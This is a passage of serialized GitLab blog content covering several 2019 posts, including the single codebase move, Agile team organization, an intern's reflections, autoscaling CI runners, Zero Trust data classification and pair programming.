information about these procedures.\n\nPrior to the single codebase setup, GitLab community contributions would be submitted\nto the gitlab-ce repository. In the single codebase, contributions are instead\nsubmitted to the new gitlab repository (\"gitlab-org/gitlab\"). EE-specific code\nresides in a \"ee\" directory in the repository. Code outside of this directory\nwill be free and open source software, using the same license as the gitlab-ce\nrepository currently uses. This means that as long as you do not change anything\nin this \"ee\" directory, the only change for GitLab community contributions is the use\nof a different repository.\n\nOur current plan is to have a single codebase the first week of September.  GitLab 12.3 will be the first release based on a single codebase.\n\nUsers that clone GitLab EE and/or GitLab CE from source should update their Git\nremote URLs after the projects are renamed. This is not strictly necessary as\nGitLab will redirect Git operations to the new repository. For users of our\nOmnibus packages and Docker images nothing changes.\n\nThose interested in learning more about what went on behind the scenes can refer\nto the following resources:\n\n* [A video in which we discusses the benefits and drawbacks of the various\n  project setups](https://www.youtube.com/watch?v=LV_AHeL5sIo)\n* [The issue detailing the remaining work to do](https://gitlab.com/gitlab-org/gitlab-ee/issues/13304)\n* [A list of all the single codebase merge requests](https://gitlab.com/groups/gitlab-org/-/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&label_name%5B%5D=single%20codebase)\n\nCover image from [Unsplash](https://images.unsplash.com/photo-1512217536414-d92543c79ca1)\n{: .note}\n",[676,815],{"slug":27843,"featured":6,"template":678},"a-single-codebase-for-gitlab-community-and-enterprise-edition","content:en-us:blog:a-single-codebase-for-gitlab-community-and-enterprise-edition.yml","A Single Codebase For Gitlab Community And Enterprise Edition","en-us/blog/a-single-codebase-for-gitlab-community-and-enterprise-edition.yml","en-us/blog/a-single-codebase-for-gitlab-community-and-enterprise-edition",{"_path":27849,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27850,"content":27855,"config":27859,"_id":27861,"_type":16,"title":27862,"_source":17,"_file":27863,"_stem":27864,"_extension":20},"/en-us/blog/manage-agile-teams-with-microservices",{"title":27851,"description":27852,"ogTitle":27851,"ogDescription":27852,"noIndex":6,"ogImage":18571,"ogUrl":27853,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27853,"schema":27854},"How to manage Agile teams with microservices","GitLab Groups and Projects can help teams divide work by product or system.","https://about.gitlab.com/blog/manage-agile-teams-with-microservices","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to manage Agile teams with microservices\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2019-08-23\",\n      }",{"title":27851,"description":27852,"authors":27856,"heroImage":18571,"date":27839,"body":27857,"category":8943,"tags":27858},[20767],"\n\nWe’re getting closer to the 2019 finish line, but there’s still time to jump on\nthe microservices train to accelerate your team’s delivery. We’ve written about\nmicroservices in the past, including discussing\n[best practices for microservices implementation](/blog/strategies-microservices-architecture/)\nand [GitLab’s integrated vision for microservices](/blog/microservices-integrated-solution/),\nbut I’m here to share something a little different: How you can use microservices\nto manage your team.\n\nBut first, a recap: Microservices is a collection of independently deployable\nservices that advances a goal, with each application managing a specific function\n_really_ well.\n\n> “The term ‘Microservice Architecture’ has sprung up over the last few years to\ndescribe a particular way of designing software applications as suites of\nindependently deployable services.” –\n[Martin Fowler](https://martinfowler.com/articles/microservices.html)\n\n## GitLab microservices for Agile team management\n\nUsing GitLab [Projects](https://docs.gitlab.com/ee/user/project/) and\n[Groups](https://docs.gitlab.com/ee/user/group/), teams can organize their work\nto increase visibility and collaboration. GitLab supports Agile teams by providing\n[Milestones](https://docs.gitlab.com/ee/user/project/milestones) (or sprints),\n[Issues](https://docs.gitlab.com/ee/user/project/issues/) (or user stories),\n[Weights](https://docs.gitlab.com/ee/user/project/issues/issue_weight.html) (or points and estimation),\nand other common [Agile artifacts](/blog/gitlab-for-agile-software-development/).\n\nHere are a few ways to use groups and projects:\n\n### Organizing your team by system\n\nOne of the more traditional ways to divide work, organizing by system separates\nteams by component and subsystem. For example, the teams that handle mobile iOS,\nmobile Android, and website have different projects, each with their own code\nrepo and [issue tracker](https://docs.gitlab.com/ee/user/project/issues/). This\ntype of structure works well with operations-driven organizations, but it’s not\na modern approach, so we recommend one of the following structures instead.\n\n### Organizing your team by product area\n\nDividing work by product is a best practice that drives business value. Using\nGitLab Groups, you can create `Code` and `Teams`. Within `Code`, separate projects\nrepresent various components (e.g. mobile iOS and user accounts), with individual\ncode repositories and sets of [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/).\nOnce you’ve created your projects (and code repos), you can build another group\nfor `Teams`, which includes fullstack product teams (i.e., engineers, PMs, designers),\nenabling parallel milestones and Agile boards. The benefit of organizing work by\nproduct area is that there’s a separation between code repos and work, so that\nevery piece of code in your organization is open to contributions from all teams.\n\n### Organizing your team with a hybrid approach\n\nThis approach combines both product and system organization structures and is\nwell suited for organizations that have cross-platform teams. For example, a mobile\nteam has dedicated iOS and Android engineers rather than full teams for both\nplatforms. In this model, the `Code` group will have individual projects according\nto component, but `Teams` is consolidated so that there’s only a website and mobile\nteam.\n\nWatch this demo and check out its\ncorresponding [example application](https://gitlab.com/trustful-finance-demo) to see groups and projects in action. 🍿\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/VR2r1TJCDew\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nDoes your team use microservices for Agile development? We’d love to hear your\nthoughts.\n\nCover image by [Martin Sanchez](https://unsplash.com/@martinsanchez?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/MD6E2Sv__iA)\n{: .note}\n",[1899,2368,4103,1444],{"slug":27860,"featured":6,"template":678},"manage-agile-teams-with-microservices","content:en-us:blog:manage-agile-teams-with-microservices.yml","Manage Agile Teams With Microservices","en-us/blog/manage-agile-teams-with-microservices.yml","en-us/blog/manage-agile-teams-with-microservices",{"_path":27866,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27867,"content":27872,"config":27878,"_id":27880,"_type":16,"title":27881,"_source":17,"_file":27882,"_stem":27883,"_extension":20},"/en-us/blog/5-things-i-learned-during-my-30-day-internship-with-gitlab-s-data-team",{"title":27868,"description":27869,"ogTitle":27868,"ogDescription":27869,"noIndex":6,"ogImage":17364,"ogUrl":27870,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27870,"schema":27871},"5 Things I Learned During My Summer Internship with GitLab's Data Team","Key lessons learned during my summer internship","https://about.gitlab.com/blog/5-things-i-learned-during-my-30-day-internship-with-gitlab-s-data-team","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Things I Learned During My Summer Internship with GitLab's Data Team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eugenia Hannon\"}],\n        \"datePublished\": \"2019-08-22\",\n      }",{"title":27868,"description":27869,"authors":27873,"heroImage":17364,"date":27875,"body":27876,"category":18484,"tags":27877},[27874],"Eugenia Hannon","2019-08-22","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n```\nThat is the beginning of knowledge - the discovery of something we do not understand.\n-Leto Atreides II, God-Emperor of Dune\n```\n\n\n## 1. The IRL Mentor\n\n[Asynchronous communication](/handbook/communication/) is the future; it simultaneously puts everyone on the same page and, in order to work well, requires everybody to be on the same page. This takes some time to get the hang of, since our present-day lives are, for the most part, synchronous. I live in the same city as my Internship Manager, [Emilie](https://gitlab.com/emilie), and I believe that was crucial to my success as an intern. Having Emilie as part of both my synchronous and asynchronous life helped me merge the two together in a way that allowed me to learn and do a lot during my short time at GitLab.\n\nBasically, if we understand that Tech has its own [language](https://en.wikipedia.org/wiki/Semiotics), having Emilie to mentor me in person was like spending time with a native-speaker. I was able to see how her tech skills are an integral part of the way she thinks, and she doesn’t waste time second-guessing herself. She also taught me that that is a learned skill--so often we assume folks are born-with-it, but Emilie took the time to illustrate how discipline is the foundation of confidence. Confidence takes time to cultivate asynchronistically, especially if you’re at all prone to Imposter Syndrome, so an IRL mentor like her served as a great example for me.\n\n## 2. Schedule, Schedule, Schedule!\n\nBeing a part of a remote workplace means you have to [schedule](https://www.youtube.com/watch?v=1EjJ55BODn0) everything--especially social calls! I had some great [coffee chats](/company/culture/all-remote/tips/#coffee-chats) with folks from around the world, and it really helped me understand how GitLab works on a macro level. People > product, and productive people run on schedules. This isn’t something I was completely unaware of, but I knew it as well as I know I how to eat a balanced diet with plenty of fresh fruits and veggies (I don’t). It’s not a pattern I had ingrained in me beforehand, because I’ve either flexible work schedules or little-to-no follow-up on projects, so this was, again, something I had to [learn](https://boingboing.net/2015/05/11/the-only-technique-to-learn-so.html).\n\n## 3. Mistake-Making\n\nAs an intern, any [mistake](https://imgflip.com/memetemplate/152344231/Oops-All-Berries) I was capable of making didn’t have any negative ripple effects to any part of the Data Team, so I took that opportunity and ran with it. Throughout my mistake-making, it was reiterated that this was the foundation of learning, an essential part of being human and working with data, and that it didn’t reflect my actual skills or ability. The GitLab Data Team was such a solid team to learn with because they all understood the initial rush of adrenaline and shame that goes along with mistake-making, and they also carried the wisdom of folks who have made mistakes when the stakes were higher--not intern-level, but full-time. Having their support was not only very encouraging, but also helped to develop my mistake-making skills. I’d say I’m about [Bard level](https://screenrant.com/dungeons-dragons-dnd-classes-ranked-power/) in my own personal mistake-making RPG.\n\nThis is my major mistake-making takeaway: the language of tech is [polysemic](https://en.wikipedia.org/wiki/Polysemy), and breaking down denotation versus connotation required a lot of me breaking things. I’ve spent a lot of time with semiotics and much less time with SQL queries, but I found a lot of the same rules apply. There’s generally something non-verbal that’s connoted with ideas that are literally denoted--typed, spoken, etc--and that connotation gets lost in the crosshairs of data. Data is deliberate, but language is inherently unstable, so miscommunication happens, and mistakes are a part of learning how to be a better data analyst. I will never get to a point where I won’t make mistakes--I’ll just be making new, different ones, perhaps less regularly, but they will always be a part of my life.\n\n## 4. Take a Break - The Work isn’t Going Anywhere\n\nThe danger of [burnout](/handbook/paid-time-off/#recognizing-burnout), especially with remote work, is [well documented](/blog/preventing-burnout/) at GitLab. Strong measures are taken to prevent burnout, since you could, in theory, work around the clock if you really wanted to (or felt like it was necessary). I got that in theory, sure, but when I had an ear infection that brought along weird vertigo-like symptoms during the first part of my internship, I felt incredibly guilty for taking days off. I remember shamefully telling Emilie I hadn’t made any progress because I wasn’t feeling well, and that I felt bad, or like I was slacking, or something, and then we had a [Luke-Yoda](https://www.youtube.com/watch?v=E3-CpzZJl8w) moment I’ll never forget: _Please, don’t let that concern you. The work will be here when you’re ready._\n\nAh! That was such an important lesson that I’m sure I’ll be re-learning in various capacities for the rest of my life, but in that exact moment, it was a slack-jawed realization of the best kind. The work will be here when I’m ready! ‘Pushing through’ illness of any kind isn’t what the work is about, and, really, only makes you prone to fuzzy thinking and more mistakes. Even though time happens simultaneously in an asychronistic workplace doesn’t mean that you  have to happen simultaneously. We haven’t reached that [dimension](https://www.youtube.com/watch?v=Y90xNI6DyY8) yet.\n\n## 5. Change: The Only Constant\n\nData is [alive](https://www.youtube.com/watch?v=QuoKNZjr8_U). When you’re a data analyst, you need to cultivate an intimate relationship with your data. You have to care for it, tend to it, teach it, help it, develop it, watch it, play with it, get angry with it, love it. It might not always tell you what you want to hear, or do what you want it to do, but it always tells the truth. Just like people, no data set is perfect, and you have to work with it in order to get the information you want, or the task you want it to perform. GitLab is itself an agent of change, a tool for tracking changes and making improvements, pulsing with activity, always updating, alive. GitLab taught me that it’s all a process--beyond the literal beginnings and endings, life is just a series of commits to the Master Branch, so make your [README.mds](https://en.wikipedia.org/wiki/README) good, push, pull, and prosper.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/qy3MBVaGHz8\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n",[2368,267],{"slug":27879,"featured":6,"template":678},"5-things-i-learned-during-my-30-day-internship-with-gitlab-s-data-team","content:en-us:blog:5-things-i-learned-during-my-30-day-internship-with-gitlab-s-data-team.yml","5 Things I Learned During My 30 Day Internship With Gitlab S Data Team","en-us/blog/5-things-i-learned-during-my-30-day-internship-with-gitlab-s-data-team.yml","en-us/blog/5-things-i-learned-during-my-30-day-internship-with-gitlab-s-data-team",{"_path":27885,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27886,"content":27892,"config":27897,"_id":27899,"_type":16,"title":27900,"_source":17,"_file":27901,"_stem":27902,"_extension":20},"/en-us/blog/making-builds-faster-autoscaling-runners",{"title":27887,"description":27888,"ogTitle":27887,"ogDescription":27888,"noIndex":6,"ogImage":27889,"ogUrl":27890,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27890,"schema":27891},"How to make builds faster","How GitLab uses autoscaling to reduce build times and make developers happy.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673173/Blog/Hero%20Images/autoscaling-balance.jpg","https://about.gitlab.com/blog/making-builds-faster-autoscaling-runners","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to make builds faster\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-08-21\",\n      }",{"title":27887,"description":27888,"authors":27893,"heroImage":27889,"date":27894,"body":27895,"category":8943,"tags":27896},[18462],"2019-08-21","\nPicture this: It’s 5:30 pm on a Friday and a project manager has an urgent request. A\nbug is affecting a group of customers and it needs to be fixed ASAP. You find the discrepancy\nand, _phew_, it looks like it’s going to be a relatively easy fix. You make the update and\nstart the CI pipeline… and then you wait… and wait. Two hours later, you’re still waiting. What was\nsupposed to be a quick fix has turned into another long night sitting in a queue.\n\n[The team at Ticketmaster](/blog/continuous-integration-ticketmaster/) certainly felt the\npain with their Jenkins pipelines, and many [DevOps](/topics/devops/) teams are all too familiar with sluggish CI.\n\nSlow builds hinder development speed. Plus – they’re annoying. It’s just one more thing developers\nhave to deal with in order to do their jobs. Organizations might dedicate more servers to process\nthese builds in an effort to solve the problem, but often that creates more problems. More servers\nmean higher cloud and computing costs. When it comes to long builds, many developers have\nresigned themselves to just “grin and bear it.”\n\n## Making builds _faster_\n\n[Continuous integration](/solutions/continuous-integration/) allows you to run a number of tasks as you\nprepare to deploy your software, like building a software package or running tests. These tasks\nneed to be run by something. At GitLab we call these task enablers runners, though other [CI tools](/solutions/continuous-integration/) call them\nagents. Runners are an application that processes builds: If all of these runners are in use, work\nis queued until one becomes available. Let's say your peak usage is 100 jobs, but your average\nusage is around 25 jobs. You have to decide how many servers to provision. If you go with the\naverage, you will have to wait during peak usage times. So why not just add more runners? Some\nservices actually charge for each of these virtual machines, and if you’re not using them all\nthe time, those costs can add up. If you're on a cloud infrastructure, you're paying for that\nserver time – even when it's not doing anything.\n\nFor ops teams, it’s been a never-ending balancing act of having the right amount of runners\nfor the right amount of work. But tasks don’t happen in a vacuum – every team has slow times\nand busier times that are unpredictable.\n\nNobody likes waiting. With this universal truth in mind, we introduced autoscaling to GitLab Runners.\n\n## What are autoscaling runners?\n\nAutoscaling gives teams the ability to utilize resources in a more elastic and dynamic way. What\nthis means is that our runners can be configured so that machines are created _on demand_.\nThose machines, after the job is finished, can wait to run the next jobs or be removed automatically.\nYou can even specify the `IdleTime` of a server before it shuts off. Once runners are set up to\nautoscale, your infrastructure contains only enough capacity to handle the load.\n\nAutoscaling runners ensure builds can be processed more efficiently and you aren’t paying for\nmore machines than you need. Developers can focus on their code instead of worrying about\ntheir infrastructure environment, and ops teams no longer have to moonlight as soothsayers.\n\nThe only thing you need to take advantage of autoscaling is one GitLab instance and\none [GitLab Runner](https://docs.gitlab.com/runner#features) that can be installed for free.\nOur runner is written in Go and can run on any platform where you can build Go binaries\nincluding Linux, macOS, Windows, FreeBSD, and Docker.\n\nSee how the team at [Substrakt Health](https://substrakthealth.com/) set up an autoscaling\ncluster of GitLab CI/CD runners using Docker-Machine and AWS – and saved 90% on EC2 costs in the process.\n\n[Read their story.](/blog/autoscale-ci-runners/)\n{: .alert .alert-gitlab-purple .text-center}\n\nSpeed and efficiency are important cornerstones of effective DevOps, so waiting for builds has\nalways felt like a step backward. As everyone strives to deploy more software, it seems only right\nthat your architecture be up for the task. Autoscaling runners let DevOps teams focus on what\nthey do best: Deploying better, faster software (yes, even on a Friday).\n\nPhoto by [Austin Neill](https://unsplash.com/@arstyy?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n{: .note}\n",[110,754,4103],{"slug":27898,"featured":6,"template":678},"making-builds-faster-autoscaling-runners","content:en-us:blog:making-builds-faster-autoscaling-runners.yml","Making Builds Faster Autoscaling Runners","en-us/blog/making-builds-faster-autoscaling-runners.yml","en-us/blog/making-builds-faster-autoscaling-runners",{"_path":27904,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27905,"content":27911,"config":27915,"_id":27917,"_type":16,"title":27918,"_source":17,"_file":27919,"_stem":27920,"_extension":20},"/en-us/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge",{"title":27906,"description":27907,"ogTitle":27906,"ogDescription":27907,"noIndex":6,"ogImage":27908,"ogUrl":27909,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27909,"schema":27910},"Zero Trust at GitLab: The data classification and infrastructure challenge","The classification of data is a huge step in the right direction when it comes to handling Zero Trust, but it comes with its own set of challenges.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679055/Blog/Hero%20Images/close-up-colorful-colors-40799.jpg","https://about.gitlab.com/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Zero Trust at GitLab: The data classification and infrastructure challenge\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2019-08-21\",\n      }",{"title":27906,"description":27907,"authors":27912,"heroImage":27908,"date":27894,"body":27913,"category":674,"tags":27914},[5362],"\nUpdate: This is part 3 of an ongoing [Zero Trust series](/blog/tags.html#zero-trust). See our next post: [Zero Trust at GitLab: Mitigating challenges with data zones and authentication scoring](/blog/zero-trust-at-gitlab-data-zones-and-authentication-scoring/).\n{: .alert .alert-info .note}\n\nZero Trust is the practice of shifting access control from the perimeter of the org to the individuals, the assets, and the endpoints. For GitLab, Zero Trust means that all devices trying to access an endpoint or asset within our GitLab environment will need to authenticate and be authorized. This is part three of a multi-part series.\n\nCheck out these other posts to get up to speed:\n* Part one: [The evolution of Zero Trust](/blog/evolution-of-zero-trust/)\n* Part two: [Zero Trust at GitLab: Problems, goals, and coming challenges](/blog/zero-trust-at-gitlab-problems-goals-challenges)\n\nOne of the main objectives for the Security team at GitLab is to protect data, regardless of whether it is our customer data or employee data. Instead of simply viewing Zero Trust Networking (ZTN) as some type of solution for authentication, we also look at it as a way to further our data protection. This poses specific challenges for both the data and the infrastructure the data resides upon.\n\n### Dealing with data classification\n\nWe’ve established a [classification of data policy](/handbook/security/data-classification-standard.html) at GitLab, so we understand the protections necessary. The emphasis of the data classification policy is to define mapping between access controls and data, where the level of sensitivity of the data can appropriately be protected. To help with the understanding and to allow for quicker identification, the four data classification levels are mapped to a color coding. The color codings are `RED`, `ORANGE`, `YELLOW`, and `GREEN` – with `RED` being the most sensitive data, down to `GREEN` being public data.\n\nThis classification of data is a huge step in the right direction when it comes to handling ZTN. That being said, when it comes to data classification there are a few areas where we anticipate challenges with regards to ZTN:\n\n* **The state of data changes over time.** Data that is in one classification may change over time based upon any number of factors. An example is `ORANGE` sales data for a public company – if disclosed before a certain date this could lead to insider trading. However after a certain date the sales data would become public, or `GREEN` data.\n\n* **Tracking of data/metadata.** The tracking of data and its metadata, including origin and classification that define requirements for handling, is non-trivial. Applying labels (data classification labels, not to be confused with the [labeling done within the GitLab software itself](https://docs.gitlab.com/ee/user/project/labels.html)) to data helps in enabling control of the data. These labels can be related to the data’s function as well as conditional access controls needed.\n     * For example, a US DoD instance of GitLab might require certain data labels such as “US citizen,” “on US soil when accessing,” “part of the US DoD project team,” and “GitLab team member not a contractor” in addition to other more standard restrictions. It is notable that the process of data labeling could be beneficial to meeting compliance standards as well, e.g. GDPR article 15 removal requests.\n\n* **Time limits on certain data.** Applying data classification labels to data will require time limits. In the above example, the label is “part of the US DoD project team,” and access to this data may expire after 30 days and need to be removed/re-applied for/auto-extended under certain circumstances, etc.\n\n* **Capability of data.** Departmental data collected might be subject to classification based upon what it is capable of instead of what it actually seems to be (think Tenable scanning data). The same would apply to customer-generated data, such as ZenDesk tickets. Basically, because we cannot control what a customer might say or what a security scan might find. It is possible that someone could have access to a system or even manage parts of that system, yet should not be able to see all of its data.\n\n* **Movement of data.** Departmental data that is transferred between systems, either automated or manual, could affect the classification of itself or the surrounding data, especially if the data is transformed or cleansed in some way. For example, situations and potential security problems reported via ZenDesk or HackerOne are often transferred to GitLab.com so we can “work the issue.” These are often sanitized to a degree. Here is a more detailed example to illustrate this:\n     * If the XYZ corporation reports a problem which is entered into ZenDesk, an issue is created for the Security team to work to resolution, and the data is in essence transformed. If the problem is authentication bypass using the APIs and it affects all customers on GitLab.com, only the mechanics of the bypass itself are considered relevant, and the fact that XYZ corporation reported it is not important to the resolution process. Therefore, XYZ corporation can be scrubbed from the Security team’s issue (and should be). As the original issue impacted XYZ corporation, it might have been considered `ORANGE` data impact, but the real impact affects more than one customer, so the problem is considered an impact to `RED` data. After a patch and resolution of the problem, we make the details of the situation public and include vulnerability, patch, and resolution information. We state it was reported to us by “a customer.” Association with XYZ corporation would still be `ORANGE` data. However, the previous `RED` classification of the problem itself is now considered `GREEN` since the problem is resolved and we have made the problem and its solution public.\n\nAs you can see, on the surface there seems to be no problem with securing our data with the assistance of ZTN, but once you start to explore \"edge cases\" one begins to reach the conclusion that these are not actually edge cases, but working examples of how we interact with our data. In most examples, this will not be a problem as we have granular control over our data, but when it comes to ZTN we need to make sure we consider the changing state of our data. The main thing we wish to avoid is an authentication decision being made based upon a particular classification of data on a system when the classification of that data is known to change over time.\n\nGranular data access is typically controlled at the system level, so we should be just fine. A closer look at our infrastructure may indicate otherwise, so a more detailed examination is required.\n\n### The infrastructure\nThe infrastructure needs to be defined, including some semblance of where the data resides and how it is accessed. For the systems we directly manage and control down to the very lowest level, we have a good grasp on what we have to work with and what controls are available to regulate access to the data they contain. However, a decent part of our infrastructure resides on systems we do not fully control.\n\nIn the modern cloud age, the rise of [software as a service](https://en.wikipedia.org/wiki/Software_as_a_service) (SaaS) applications has become an important part of everyday business operations. Instead of maintaining servers in a server room, a vendor uses the cloud and makes the application accessible over the internet. Each company has their own private set of data maintained by the SaaS provider, and may have different levels of features based upon price that allow them to manipulate and control the data. Examples include Expensify for handling expenses, BambooHR for handling HR functions, and so on. GitLab is no exception to this process. Deployment is often as easy as setting up accounts, and while we’re [working to unify our authentication process under Okta](/handbook/business-technology/okta/#how-is-gitlab-using-okta), it is still not fully deployed.\n\nAs we are an all-remote company, our infrastructure is all-remote. We do the bulk of our company activity inside the GitLab.com software itself, but we also use roughly two dozen SaaS companies’ offerings as well. There are the usual suspects such as Slack and Zoom, but as mentioned we are currently using Expensify, BambooHR, ZenDesk, and many others.\n\nSimply put, our infrastructure poses some unique challenges:\n\n* **Cloud controls.** We are a GCP organization. Also AWS. And Azure. Did I mention DigitalOcean as well? As one might expect, this can create challenges if one has to use parts of the underlying cloud controls to help with authentication and enforcement of access controls, and software components are being moved from platform to platform. Customers don’t notice, but team members handling administrative access might.\n* **Who controls what?** This is not as bad as it sounds, but it is often not 100% clear who has administrative access to different systems. I’d say it is a symptom of a rapidly growing company, but after having experienced the same thing in most companies I’ve worked at, this is a fairly common phenomenon. The problem at GitLab stems from the amount of growth and our own rather unique history: When the company was very small, a single team member might be in control of a piece of infrastructure that slowly scaled up and became huge. Then, if that team member leaves the company, most likely the team member’s department assumes control. Does anyone or everyone have that control now? Does each team member understand all of the data residing in that system? Do they understand that data in relationship to the data classification?\n* **The enforcement of SaaS application privileges.** For systems where we do not have control over the underlying components, enforcing privileges becomes tricky. If a SaaS app has a regular user authentication and the main screen has an “Admin” button to escalate privileges, does our authentication system handle this programmatically?\n\nFortunately we can leverage a number of the [compliance](/handbook/security/security-assurance/security-compliance/) efforts within the company to gain insight into what levels of control we can impose onto each system.\n\n### What's next\n\nIt sure seems like we have a lot of unique challenges! But we do have a huge leg up. For many organizations, the coming of ZTN means the end of the corporate VPN and the falling of huge chunks of the perimeter network. [GitLab doesn’t have a corporate VPN](/handbook/security/#why-we-dont-have-a-corporate-vpn) to dismantle, and as we’ve said before [we’re an all-remote company](/company/culture/all-remote/) so there is no perimeter.\n\nWe’ve discussed a lot of challenges, in the next installment of this series we’ll start talking about a few specifics we are designing to help make things easier. If you’re researching, implementing, or considering ZTN, what are the challenges you’re tackling? Tell us in the comments.\n\n*Special shout-out to the entire security team for their input on this blog series.*\n\nPhoto by [Pixabay](https://www.pexels.com/@pixabay) on [Pexels](https://www.pexels.com/photo/red-office-yellow-school-40799/)\n{: .note}\n",[676,674,6141],{"slug":27916,"featured":6,"template":678},"zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge","content:en-us:blog:zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge.yml","Zero Trust At Gitlab The Data Classification And Infrastructure Challenge","en-us/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge.yml","en-us/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge",{"_path":27922,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27923,"content":27929,"config":27934,"_id":27936,"_type":16,"title":27937,"_source":17,"_file":27938,"_stem":27939,"_extension":20},"/en-us/blog/agile-pairing-sessions",{"title":27924,"description":27925,"ogTitle":27924,"ogDescription":27925,"noIndex":6,"ogImage":27926,"ogUrl":27927,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27927,"schema":27928},"Improving pair programming with pairing sessions","Pairing with a teammate can increase delivery. Here we look at what pairing sessions are, what they involve and what they're good for.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665897/Blog/Hero%20Images/incrementalcodedevelopment.jpg","https://about.gitlab.com/blog/agile-pairing-sessions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Improving pair programming with pairing sessions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2019-08-20\",\n      }",{"title":27924,"description":27925,"authors":27930,"heroImage":27926,"date":27931,"body":27932,"category":8943,"tags":27933},[20767],"2019-08-20","\nArya and Sansa. Han and Chewbacca. Harry and Ron. When people team up, great things can happen.\n\n## What is pair programming?\n\nPair programming, an Agile approach to software development, involves two programmers working together at the same workstation. One programmer (called the driver) writes code while the other programmer (called the navigator) reviews code in real time. Pairing sessions can accelerate [Agile delivery](/solutions/agile-delivery/), because teammates work together to find the best solutions to several challenges. \n\nRather than working in silos, team members work together to share knowledge and quickly move through obstacles. Sounds good, right? Well, some organizations view pair programming as an inefficient use of time. After all, why should two developers work on the same piece of code when there’s a mountain of technical debt, an impending release, and lingering OKRs around the corner?\n\n## How to get started with pair programming\n\nThe key to any successful paired programming partnership is open communication and creating a plan together so you can avoid bottlenecks during the project process. \n\nHere are a few things you need to consider as a team before beginning any coding work:\n\n* Have a mutual understanding of what “ready” looks like for this project. Consult each other as well as any stakeholder involved, like a product owner, so that everyone is clear on when to give the projects a final green light. \n* Create a step-by-step project plan. Consider how you will trade off coding and reviewing responsibilities, how you want to handle testing, and any other external help you may need to complete the project. \n* Brainstorm as many potential roadblocks as you can think of in this planning process, and try to come up with potential solutions. You can brainstorm together on paper, talk it out, or go off separately and then share thoughts, but this is an important step. Always be prepared!\n* Agree on the technology you want to use. From computers and keyboards to reliable wifi or a whiteboard, make sure you have all of the tools you need.\n\n## Some pair programming best practices\n\nTo achieve the best outcome of your pair programming experience, we recommend you follow these best practices:\n\n* **ABC (Always be communicating).** Regardless of whether you’ve worked well together in the past or you’re a brand new partnership, the importance of communication can’t be overstated. Two individuals are likely to have different thoughts and opinions along the way. To keep the project (and yourselves) from suffering, establish open and frequent communication practices early.\n* **Take turns.** No single person has to be the only one navigating or driving, and you shouldn’t. Take turns in each role as often as you need to make sure your minds and eyes stay fresh and you keep producing quality work.\n* **Take a break.** Rome wasn’t built in a day, and neither was coding. You and your pair programming partner need to make sure to take breaks so as not to induce burnout. \n* **Get good technology tools.** And remember to click that video on. Oftentimes, pair programming is done remotely. It can help to have an actual facetime conversation, even if it’s virtual, to stay connected and communicative throughout the course of the partnership. \n* **Ask for help.** If there is a part of your project that both of you don’t understand, ask for clarification. Better to ask ahead of project completion than after. \n\n## The case for and against pair programming\n\nThere are benefits and drawbacks to pairing sessions, so a few GitLab team members\nshared their thoughts to help you determine whether pair programming is right for you.\n\n> “I've done pair programming in the past. I love it because it helps to bounce\nideas off people, and I find we often could solve ‘bigger’ problems faster. To me,\nthe downside is measuring/proving that this is a good method of programming since\nmany people see this as inefficient (two people working on the same problem).” –\n[Cynthia Ng](/company/team/#TheRealArty), senior support agent\n\nToday’s developer feels the pressure of delivering at rapid speeds. Sometimes, a\nchallenge is just too complex for one person to solve, and pairing sessions can\nhelp alleviate the difficulties experienced when racing towards a release while\ncarrying a burdensome issue. Talking through solutions and drawing on each other’s\nexperiences can help a pair work towards a new approach.\n\nMeasuring the effectiveness of pairing sessions might be difficult, but there are ways to\nevaluate success. Considering failures in functionality, the number of\nbugs, and improvements in productivity can help teams determine whether pairing\nmakes a difference with delivery.\n\n### The role of engagement and continuous learning in delivery\n\nIT leaders may be reluctant to embrace pairing, since two developers dedicate\ntheir time to a single problem, but it’s important to note researchers have\nfound that\n[90% of new skills learned are lost due to lack 